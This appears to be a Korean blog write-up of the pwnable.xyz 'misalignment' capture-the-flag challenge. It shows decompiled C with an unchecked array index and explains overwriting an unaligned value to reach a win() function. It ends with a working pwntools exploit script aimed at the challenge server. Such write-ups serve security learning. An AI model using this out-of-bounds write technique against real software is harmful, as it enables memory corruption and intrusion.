pwnable.xyz - misalignment
2021. 7. 19. 07:43ㆍPwnable
그지같은 문제이다.
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-A0h]
_QWORD v5[3]; // [rsp+18h] [rbp-98h]
__int64 v6; // [rsp+30h] [rbp-80h]
__int64 v7; // [rsp+38h] [rbp-78h]
__int64 v8; // [rsp+40h] [rbp-70h]
unsigned __int64 v9; // [rsp+A8h] [rbp-8h]
v9 = __readfsqword(0x28u);
setup(*&argc, argv, envp);
memset(&s, 0, 0x98uLL);
*(v5 + 7) = 0xDEADBEEFLL;
while ( _isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
{
v5[v8 + 6] = v6 + v7;
printf("Result: %ld\n", v5[v8 + 6]);
}
if ( *(v5 + 7) == 0xB000000B5LL )
win();
return 0;
}
코드를 확인하면 v6 + v7을 한 값이 들어가고, 어디에 들어갈지를 v8변수가 정해준다.
*(v5+7) 부분을 읽었을떄 최종적으로 0xB000000B5가 되어야함으로
v5[0]의 7번째 칸을 0xb0으로
v5[1] 의 8번째 칸을 b5로 덮어줘야한다.
따라서 처음에 리틀앤디안으로 변형해서
0xb500000000000000 —> 5404319552844595200을 넣어주고,
0xB00000000 —> 2번째에 184549376를 넣어주면 된다.
python 에서 자동 변환해줄때 음수를 고려안해줘서 삽질좀 했다.
보수법때문에 그러는듯...
from pwn import *
r = remote("svc.pwnable.xyz", 30003)
#r = process("./challenge")
e = ELF("./challenge")
l = e.libc
context.log_level = "debug"
r.sendline("0 -5404319552844595200 -6")
print(r.recv())
r.sendline("0 184549376 -5")
print(r.recv())
r.sendline("1 2 10")
r.interactive()
'Pwnable' 카테고리의 다른 글
pwnable.xyz - xor (0) | 2021.07.25 |
---|---|
HactCTF - 풍수지리설 (0) | 2021.07.24 |
dreamhack.io - validator (0) | 2021.07.13 |
HackCTF - ezshell (0) | 2021.07.13 |
HackCTF - ChildFSB (1) | 2021.07.08 |